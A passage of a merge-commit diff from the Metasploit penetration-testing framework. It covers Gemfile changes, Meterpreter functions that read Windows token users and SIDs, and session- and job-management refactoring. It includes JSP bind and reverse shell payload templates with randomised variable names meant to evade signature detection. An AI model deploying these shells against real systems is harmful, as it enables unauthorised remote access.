Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile Gemfile.lockbug/bundler_fix
commit
02ec1fb234
22
Gemfile
22
Gemfile
|
@ -1,24 +1,10 @@
|
|||
source 'https://rubygems.org'
|
||||
# Add default group gems to `metasploit-framework.gemspec`:
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec
|
||||
|
||||
gem 'rb-readline', require: false
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
group :db do
|
||||
rails_version_constraints = ['>= 4.0.9', '< 4.1.0']
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord', *rails_version_constraints
|
||||
# Metasploit::Credential database models
|
||||
gem 'metasploit-credential', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', :github => 'rapid7/metasploit_data_models', :branch => 'staging/rails-4.0'
|
||||
|
||||
gem 'metasploit-concern', :github => 'rapid7/metasploit-concern', :branch => 'staging/rails-4.0'
|
||||
gem 'metasploit-model', :github => 'rapid7/metasploit-model', :branch => 'staging/rails-4.0'
|
||||
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
gemspec name: 'metasploit-framework-db'
|
||||
end
|
||||
|
||||
group :development do
|
||||
|
@ -49,9 +35,7 @@ group :development, :test do
|
|||
end
|
||||
|
||||
group :pcap do
|
||||
gem 'network_interface', '~> 0.0.1'
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
gemspec name: 'metasploit-framework-pcap'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
|
|
@ -215,6 +215,9 @@ if has_ctypes:
|
|||
("wProcessorLevel", ctypes.c_uint16),
|
||||
("wProcessorRevision", ctypes.c_uint16)]
|
||||
|
||||
class TOKEN_USER(ctypes.Structure):
|
||||
_fields_ = [("User", SID_AND_ATTRIBUTES)]
|
||||
|
||||
#
|
||||
# Linux Structures
|
||||
#
|
||||
|
@ -364,6 +367,7 @@ TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
|||
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
||||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
||||
|
||||
##
|
||||
# Environment
|
||||
|
@ -525,6 +529,36 @@ def get_stat_buffer(path):
|
|||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def get_token_user(handle):
|
||||
TOKEN_QUERY = 0x0008
|
||||
TokenUser = 1
|
||||
advapi32 = ctypes.windll.advapi32
|
||||
advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
|
||||
|
||||
token_handle = ctypes.c_void_p()
|
||||
if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
|
||||
return None
|
||||
token_user_buffer = (ctypes.c_byte * 4096)()
|
||||
dw_returned = ctypes.c_uint32()
|
||||
result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
|
||||
ctypes.windll.kernel32.CloseHandle(token_handle)
|
||||
if not result:
|
||||
return None
|
||||
return cstruct_unpack(TOKEN_USER, token_user_buffer)
|
||||
|
||||
def get_username_from_token(token_user):
|
||||
user = (ctypes.c_char * 512)()
|
||||
domain = (ctypes.c_char * 512)()
|
||||
user_len = ctypes.c_uint32()
|
||||
user_len.value = ctypes.sizeof(user)
|
||||
domain_len = ctypes.c_uint32()
|
||||
domain_len.value = ctypes.sizeof(domain)
|
||||
use = ctypes.c_ulong()
|
||||
use.value = 0
|
||||
if not ctypes.windll.advapi32.LookupAccountSidA(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
|
||||
return None
|
||||
return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))
|
||||
|
||||
def netlink_request(req_type):
|
||||
import select
|
||||
# See RFC 3549
|
||||
|
@ -632,11 +666,6 @@ def channel_open_stdapi_net_tcp_server(request, response):
|
|||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getuid(request, response):
|
||||
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getenv(request, response):
|
||||
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
||||
|
@ -649,6 +678,32 @@ def stdapi_sys_config_getenv(request, response):
|
|||
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_sys_config_getsid(request, response):
|
||||
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
||||
if not token:
|
||||
return ERROR_FAILURE, response
|
||||
sid_str = ctypes.c_char_p()
|
||||
if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)):
|
||||
return ERROR_FAILURE, response
|
||||
sid_str = str(ctypes.string_at(sid_str))
|
||||
response += tlv_pack(TLV_TYPE_SID, sid_str)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getuid(request, response):
|
||||
if has_windll:
|
||||
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
||||
if not token:
|
||||
return ERROR_FAILURE, response
|
||||
username = get_username_from_token(token)
|
||||
if not username:
|
||||
return ERROR_FAILURE, response
|
||||
else:
|
||||
username = getpass.getuser()
|
||||
response += tlv_pack(TLV_TYPE_USER_NAME, username)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_sysinfo(request, response):
|
||||
uname_info = platform.uname()
|
||||
|
@ -821,26 +876,10 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
exe_path = ctypes.string_at(exe_path)
|
||||
else:
|
||||
exe_path = ''
|
||||
complete_username = ''
|
||||
tkn_h = ctypes.c_long()
|
||||
tkn_len = ctypes.c_uint32()
|
||||
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
|
||||
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
|
||||
buf = (ctypes.c_ubyte * tkn_len.value)()
|
||||
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
|
||||
user_tkn = SID_AND_ATTRIBUTES()
|
||||
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
|
||||
username = (ctypes.c_char * 512)()
|
||||
domain = (ctypes.c_char * 512)()
|
||||
u_len = ctypes.c_uint32()
|
||||
u_len.value = ctypes.sizeof(username)
|
||||
d_len = ctypes.c_uint32()
|
||||
d_len.value = ctypes.sizeof(domain)
|
||||
use = ctypes.c_ulong()
|
||||
use.value = 0
|
||||
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
||||
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
|
||||
k32.CloseHandle(tkn_h)
|
||||
process_username = ''
|
||||
process_token_user = get_token_user(proc_h)
|
||||
if process_token_user:
|
||||
process_username = get_username_from_token(process_token_user) or ''
|
||||
parch = windll_GetNativeSystemInfo()
|
||||
is_wow64 = ctypes.c_ubyte()
|
||||
is_wow64.value = 0
|
||||
|
@ -851,7 +890,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
pgroup = bytes()
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
||||
|
|
|
@ -80,13 +80,18 @@ module Metasploit
|
|||
# @return [void]
|
||||
def self.optionally_require_metasploit_db_gem_engines
|
||||
optionally(
|
||||
'metasploit/credential/engine',
|
||||
'metasploit-credential not in the bundle',
|
||||
)
|
||||
'metasploit/credential',
|
||||
'metasploit-credential not in the bundle',
|
||||
) do
|
||||
require 'metasploit/credential/engine'
|
||||
end
|
||||
|
||||
optionally(
|
||||
'metasploit_data_models/engine',
|
||||
'metaspoit_data_models not in the bundle'
|
||||
)
|
||||
'metasploit_data_models',
|
||||
'metasploit_data_models not in the bundle'
|
||||
) do
|
||||
require 'metasploit_data_models/engine'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -38,10 +38,11 @@ module Exploit::EXE
|
|||
obfus_eicar.join("-").upcase
|
||||
end
|
||||
|
||||
def get_custom_exe(path=nil)
|
||||
def get_custom_exe(path = nil)
|
||||
path ||= datastore['EXE::Custom']
|
||||
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
|
||||
datastore['DisablePayloadHandler'] = true
|
||||
exe = nil
|
||||
::File.open(path,'rb') {|f| exe = f.read(f.stat.size)}
|
||||
exe
|
||||
end
|
||||
|
@ -160,7 +161,7 @@ protected
|
|||
end
|
||||
|
||||
def exe_post_generation(opts)
|
||||
if (opts[:fellback])
|
||||
if opts[:fellback]
|
||||
print_status("Warning: Falling back to default template: #{opts[:fellback]}")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -547,7 +547,7 @@ module Exploit::Remote::HttpServer
|
|||
# Guard against removing resources added by other modules
|
||||
if @my_resources.include?(name)
|
||||
@my_resources.delete(name)
|
||||
service.remove_resource(name)
|
||||
service.remove_resource(name) if service
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -22,6 +22,12 @@ module Msf::Payload::JSP
|
|||
# @return [String] jsp code that executes bind TCP payload
|
||||
def jsp_bind_tcp
|
||||
# Modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
|
||||
var_is = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_os = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_in = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_out = Rex::Text.rand_text_alpha_lower(3)
|
||||
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
|
@ -31,37 +37,37 @@ module Msf::Payload::JSP
|
|||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
InputStream #{var_is};
|
||||
OutputStream #{var_os};
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
this.#{var_is} = #{var_is};
|
||||
this.#{var_os} = #{var_os};
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
BufferedReader #{var_in} = null;
|
||||
BufferedWriter #{var_out} = null;
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( this.is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
||||
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
|
||||
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
#{var_out}.write( buffer, 0, length );
|
||||
#{var_out}.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
if( #{var_in} != null )
|
||||
#{var_in}.close();
|
||||
if( #{var_out} != null )
|
||||
#{var_out}.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
@ -87,6 +93,12 @@ module Msf::Payload::JSP
|
|||
# @return [String] jsp code that executes reverse TCP payload
|
||||
def jsp_reverse_tcp
|
||||
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
|
||||
var_is = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_os = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_in = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_out = Rex::Text.rand_text_alpha_lower(3)
|
||||
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
|
@ -96,37 +108,37 @@ module Msf::Payload::JSP
|
|||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
InputStream #{var_is};
|
||||
OutputStream #{var_os};
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
this.#{var_is} = #{var_is};
|
||||
this.#{var_os} = #{var_os};
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
BufferedReader #{var_in} = null;
|
||||
BufferedWriter #{var_out} = null;
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( this.is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
||||
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
|
||||
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
#{var_out}.write( buffer, 0, length );
|
||||
#{var_out}.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
if( #{var_in} != null )
|
||||
#{var_in}.close();
|
||||
if( #{var_out} != null )
|
||||
#{var_out}.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -308,12 +308,14 @@ module Msf
|
|||
if encoder.present?
|
||||
# Allow comma seperated list of encoders so users can choose several
|
||||
encoder.split(',').each do |chosen_encoder|
|
||||
encoders << framework.encoders.create(chosen_encoder)
|
||||
e = framework.encoders.create(chosen_encoder)
|
||||
encoders << e if e
|
||||
end
|
||||
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
|
||||
elsif badchars.present?
|
||||
framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod|
|
||||
encoders << framework.encoders.create(name)
|
||||
e = framework.encoders.create(name)
|
||||
encoders << e if e
|
||||
end
|
||||
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
|
||||
else
|
||||
|
|
|
@ -41,7 +41,7 @@ class Core
|
|||
"-v" => [ false, "List verbose fields" ],
|
||||
"-q" => [ false, "Quiet mode" ],
|
||||
"-d" => [ true, "Detach an interactive session" ],
|
||||
"-k" => [ true, "Terminate session" ],
|
||||
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
||||
"-K" => [ false, "Terminate all sessions" ],
|
||||
"-s" => [ true, "Run a script on the session given with -i, or all"],
|
||||
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all"],
|
||||
|
@ -49,7 +49,7 @@ class Core
|
|||
|
||||
@@jobs_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-k" => [ true, "Terminate the specified job name." ],
|
||||
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
|
||||
"-K" => [ false, "Terminate all running jobs." ],
|
||||
"-i" => [ true, "Lists detailed information about a running job."],
|
||||
"-l" => [ false, "List all running jobs." ],
|
||||
|
@ -778,9 +778,7 @@ class Core
|
|||
def cmd_jobs(*args)
|
||||
# Make the default behavior listing all jobs if there were no options
|
||||
# or the only option is the verbose flag
|
||||
if (args.length == 0 or args == ["-v"])
|
||||
args.unshift("-l")
|
||||
end
|
||||
args.unshift("-l") if args.length == 0 || args == ["-v"]
|
||||
|
||||
verbose = false
|
||||
dump_list = false
|
||||
|
@ -788,20 +786,27 @@ class Core
|
|||
job_id = nil
|
||||
|
||||
# Parse the command options
|
||||
@@jobs_opts.parse(args) { |opt, idx, val|
|
||||
@@jobs_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-v"
|
||||
verbose = true
|
||||
when "-l"
|
||||
dump_list = true
|
||||
|
||||
# Terminate the supplied job name
|
||||
# Terminate the supplied job ID(s)
|
||||
when "-k"
|
||||
if (not framework.jobs.has_key?(val))
|
||||
print_error("No such job")
|
||||
else
|
||||
print_line("Stopping job: #{val}...")
|
||||
framework.jobs.stop_job(val)
|
||||
job_list = build_range_array(val)
|
||||
if job_list.blank?
|
||||
print_error("Please specify valid job identifier(s)")
|
||||
return false
|
||||
end
|
||||
print_status("Stopping the following job(s): #{job_list.join(', ')}")
|
||||
job_list.map(&:to_s).each do |job|
|
||||
if framework.jobs.has_key?(job)
|
||||
print_status("Stopping job #{job}")
|
||||
framework.jobs.stop_job(job)
|
||||
else
|
||||
print_error("Invalid job identifier: #{job}")
|
||||
end
|
||||
end
|
||||
when "-K"
|
||||
print_line("Stopping all jobs...")
|
||||
|
@ -817,28 +822,28 @@ class Core
|
|||
cmd_jobs_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if (dump_list)
|
||||
print("\n" + Serializer::ReadableText.dump_jobs(framework, verbose) + "\n")
|
||||
end
|
||||
if (dump_info)
|
||||
if (job_id and framework.jobs[job_id.to_s])
|
||||
|
||||
if dump_list
|
||||
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
|
||||
end
|
||||
if dump_info
|
||||
if job_id && framework.jobs[job_id.to_s]
|
||||
job = framework.jobs[job_id.to_s]
|
||||
mod = job.ctx[0]
|
||||
|
||||
output = "\n"
|
||||
output = '\n'
|
||||
output += "Name: #{mod.name}"
|
||||
output += ", started at #{job.start_time}" if job.start_time
|
||||
print_line(output)
|
||||
|
||||
if (mod.options.has_options?)
|
||||
show_options(mod)
|
||||
end
|
||||
show_options(mod) if mod.options.has_options?
|
||||
|
||||
if (verbose)
|
||||
if verbose
|
||||
mod_opt = Serializer::ReadableText.dump_advanced_options(mod,' ')
|
||||
print_line("\nModule advanced options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
if mod_opt && mod_opt.length > 0
|
||||
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_line("Invalid Job ID")
|
||||
|
@ -1563,7 +1568,11 @@ class Core
|
|||
print_line "Usage: sessions [options]"
|
||||
print_line
|
||||
print_line "Active session manipulation and interaction."
|
||||
print(@@sessions_opts.usage())
|
||||
print(@@sessions_opts.usage)
|
||||
print_line
|
||||
print_line "Many options allow specifying session ranges using commas and dashes."
|
||||
print_line "For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1584,250 +1593,220 @@ class Core
|
|||
extra = []
|
||||
|
||||
# Parse the command options
|
||||
@@sessions_opts.parse(args) { |opt, idx, val|
|
||||
@@sessions_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-q"
|
||||
quiet = true
|
||||
|
||||
# Run a command on all sessions, or the session given with -i
|
||||
when "-c"
|
||||
method = 'cmd'
|
||||
if (val)
|
||||
cmds << val
|
||||
end
|
||||
|
||||
when "-v"
|
||||
verbose = true
|
||||
|
||||
# Do something with the supplied session identifier instead of
|
||||
# all sessions.
|
||||
when "-i"
|
||||
sid = val
|
||||
|
||||
# Display the list of active sessions
|
||||
when "-l"
|
||||
method = 'list'
|
||||
|
||||
when "-k"
|
||||
method = 'kill'
|
||||
sid = val if val
|
||||
if not sid
|
||||
print_error("Specify a session to kill")
|
||||
return false
|
||||
end
|
||||
|
||||
when "-K"
|
||||
method = 'killall'
|
||||
|
||||
when "-d"
|
||||
method = 'detach'
|
||||
sid = val
|
||||
|
||||
# Run a script on all meterpreter sessions
|
||||
when "-s"
|
||||
if not script
|
||||
method = 'scriptall'
|
||||
script = val
|
||||
end
|
||||
|
||||
# Upload and exec to the specific command session
|
||||
when "-u"
|
||||
method = 'upexec'
|
||||
sid = val
|
||||
|
||||
# Reset the ring buffer read pointer
|
||||
when "-r"
|
||||
reset_ring = true
|
||||
method = 'reset_ring'
|
||||
|
||||
# Display help banner
|
||||
when "-h"
|
||||
cmd_sessions_help
|
||||
return false
|
||||
else
|
||||
extra << val
|
||||
when "-q"
|
||||
quiet = true
|
||||
# Run a command on all sessions, or the session given with -i
|
||||
when "-c"
|
||||
method = 'cmd'
|
||||
cmds << val if val
|
||||
when "-v"
|
||||
verbose = true
|
||||
# Do something with the supplied session identifier instead of
|
||||
# all sessions.
|
||||
when "-i"
|
||||
sid = val
|
||||
# Display the list of active sessions
|
||||
when "-l"
|
||||
method = 'list'
|
||||
when "-k"
|
||||
method = 'kill'
|
||||
sid = val || false
|
||||
when "-K"
|
||||
method = 'killall'
|
||||
when "-d"
|
||||
method = 'detach'
|
||||
sid = val || false
|
||||
# Run a script on all meterpreter sessions
|
||||
when "-s"
|
||||
unless script
|
||||
method = 'scriptall'
|
||||
script = val
|
||||
end
|
||||
# Upload and exec to the specific command session
|
||||
when "-u"
|
||||
method = 'upexec'
|
||||
sid = val || false
|
||||
# Reset the ring buffer read pointer
|
||||
when "-r"
|
||||
reset_ring = true
|
||||
method = 'reset_ring'
|
||||
# Display help banner
|
||||
when "-h"
|
||||
cmd_sessions_help
|
||||
return false
|
||||
else
|
||||
extra << val
|
||||
end
|
||||
}
|
||||
|
||||
if sid and not framework.sessions.get(sid)
|
||||
print_error("Invalid session id")
|
||||
return false
|
||||
end
|
||||
|
||||
if method.nil? and sid
|
||||
if !method && sid
|
||||
method = 'interact'
|
||||
end
|
||||
|
||||
unless sid.nil? || method == 'interact'
|
||||
session_list = build_range_array(sid)
|
||||
if session_list.blank?
|
||||
print_error("Please specify valid session identifier(s)")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Now, perform the actual method
|
||||
case method
|
||||
|
||||
when 'cmd'
|
||||
if (cmds.length < 1)
|
||||
print_error("No command specified!")
|
||||
return false
|
||||
end
|
||||
cmds.each do |cmd|
|
||||
if sid
|
||||
sessions = [ sid ]
|
||||
else
|
||||
sessions = framework.sessions.keys.sort
|
||||
end
|
||||
sessions.each do |s|
|
||||
session = framework.sessions.get(s)
|
||||
print_status("Running '#{cmd}' on #{session.type} session #{s} (#{session.session_host})")
|
||||
|
||||
if (session.type == "meterpreter")
|
||||
# If session.sys is nil, dont even try..
|
||||
if not (session.sys)
|
||||
print_error("Session #{s} does not have stdapi loaded, skipping...")
|
||||
next
|
||||
end
|
||||
c, c_args = cmd.split(' ', 2)
|
||||
begin
|
||||
process = session.sys.process.execute(c, c_args,
|
||||
{
|
||||
'Channelized' => true,
|
||||
'Hidden' => true
|
||||
})
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
print_error("Failed: #{$!.class} #{$!}")
|
||||
end
|
||||
if process and process.channel and (data = process.channel.read)
|
||||
print_line(data)
|
||||
end
|
||||
elsif session.type == "shell"
|
||||
if (output = session.shell_command(cmd))
|
||||
print_line(output)
|
||||
end
|
||||
end
|
||||
# If the session isn't a meterpreter or shell type, it
|
||||
# could be a VNC session (which can't run commands) or
|
||||
# something custom (which we don't know how to run
|
||||
# commands on), so don't bother.
|
||||
end
|
||||
end
|
||||
|
||||
when 'kill'
|
||||
if ((session = framework.sessions.get(sid)))
|
||||
print_status("Killing session #{sid}")
|
||||
session.kill
|
||||
else
|
||||
print_error("Invalid session identifier: #{sid}")
|
||||
end
|
||||
|
||||
when 'killall'
|
||||
print_status("Killing all sessions...")
|
||||
framework.sessions.each_sorted do |s|
|
||||
if ((session = framework.sessions.get(s)))
|
||||
session.kill
|
||||
end
|
||||
end
|
||||
|
||||
when 'detach'
|
||||
if ((session = framework.sessions.get(sid)))
|
||||
print_status("Detaching session #{sid}")
|
||||
if (session.interactive?)
|
||||
session.detach()
|
||||
end
|
||||
else
|
||||
print_error("Invalid session identifier: #{sid}")
|
||||
end
|
||||
|
||||
when 'interact'
|
||||
if ((session = framework.sessions.get(sid)))
|
||||
if (session.interactive?)
|
||||
print_status("Starting interaction with #{session.name}...\n") if (quiet == false)
|
||||
|
||||
self.active_session = session
|
||||
|
||||
session.interact(driver.input.dup, driver.output)
|
||||
|
||||
self.active_session = nil
|
||||
|
||||
if (driver.input.supports_readline)
|
||||
driver.input.reset_tab_completion
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Session #{sid} is non-interactive.")
|
||||
end
|
||||
else
|
||||
print_error("Invalid session identifier: #{sid}")
|
||||
end
|
||||
|
||||
when 'scriptall'
|
||||
if (script.nil?)
|
||||
print_error("No script specified!")
|
||||
return false
|
||||
end
|
||||
|
||||
script_paths = {}
|
||||
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
|
||||
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
|
||||
|
||||
when 'cmd'
|
||||
if cmds.length < 1
|
||||
print_error("No command specified!")
|
||||
return false
|
||||
end
|
||||
cmds.each do |cmd|
|
||||
if sid
|
||||
print_status("Running script #{script} on session #{sid}...")
|
||||
sessions = [ sid ]
|
||||
sessions = session_list
|
||||
else
|
||||
print_status("Running script #{script} on all sessions...")
|
||||
sessions = framework.sessions.keys.sort
|
||||
end
|
||||
|
||||
sessions.each do |s|
|
||||
if ((session = framework.sessions.get(s)))
|
||||
if (script_paths[session.type])
|
||||
print_status("Session #{s} (#{session.session_host}):")
|
||||
begin
|
||||
session.execute_file(script_paths[session.type], extra)
|
||||
rescue ::Exception => e
|
||||
log_error("Error executing script: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
if sessions.blank?
|
||||
print_error("Please specify valid session identifier(s) using -i")
|
||||
return false
|
||||
end
|
||||
sessions.each do |s|
|
||||
session = verify_session(s)
|
||||
next unless session
|
||||
print_status("Running '#{cmd}' on #{session.type} session #{s} (#{session.session_host})")
|
||||
|
||||
when 'upexec'
|
||||
session_list = build_sessions_array(sid)
|
||||
print_status("Executing 'post/multi/manage/shell_to_meterpreter' on session(s): #{session_list}")
|
||||
session_list.each do |sess|
|
||||
if ((session = framework.sessions.get(sess)))
|
||||
if (session.interactive?)
|
||||
if (session.type == "shell")
|
||||
session.init_ui(driver.input, driver.output)
|
||||
session.execute_script('post/multi/manage/shell_to_meterpreter')
|
||||
session.reset_ui
|
||||
else
|
||||
print_error("Session #{sess} is not a command shell session, skipping...")
|
||||
next
|
||||
end
|
||||
else
|
||||
print_error("Session #{sess} is non-interactive, skipping...")
|
||||
if session.type == 'meterpreter'
|
||||
# If session.sys is nil, dont even try..
|
||||
unless session.sys
|
||||
print_error("Session #{s} does not have stdapi loaded, skipping...")
|
||||
next
|
||||
end
|
||||
c, c_args = cmd.split(' ', 2)
|
||||
begin
|
||||
process = session.sys.process.execute(c, c_args,
|
||||
{
|
||||
'Channelized' => true,
|
||||
'Hidden' => true
|
||||
})
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
print_error("Failed: #{$!.class} #{$!}")
|
||||
end
|
||||
if process && process.channel
|
||||
data = process.channel.read
|
||||
print_line(data) if data
|
||||
end
|
||||
elsif session.type == 'shell'
|
||||
output = session.shell_command(cmd)
|
||||
print_line(output) if output
|
||||
end
|
||||
# If the session isn't a meterpreter or shell type, it
|
||||
# could be a VNC session (which can't run commands) or
|
||||
# something custom (which we don't know how to run
|
||||
# commands on), so don't bother.
|
||||
end
|
||||
end
|
||||
when 'kill'
|
||||
print_status("Killing the following session(s): #{session_list.join(', ')}")
|
||||
session_list.each do |sess_id|
|
||||
session = framework.sessions.get(sess_id)
|
||||
if session
|
||||
print_status("Killing session #{sess_id}")
|
||||
session.kill
|
||||
else
|
||||
print_error("Invalid session identifier: #{sess_id}")
|
||||
end
|
||||
end
|
||||
when 'killall'
|
||||
print_status("Killing all sessions...")
|
||||
framework.sessions.each_sorted do |s|
|
||||
session = framework.sessions.get(s)
|
||||
session.kill if session
|
||||
end
|
||||
when 'detach'
|
||||
print_status("Detaching the following session(s): #{session_list.join(', ')}")
|
||||
session_list.each do |sess_id|
|
||||
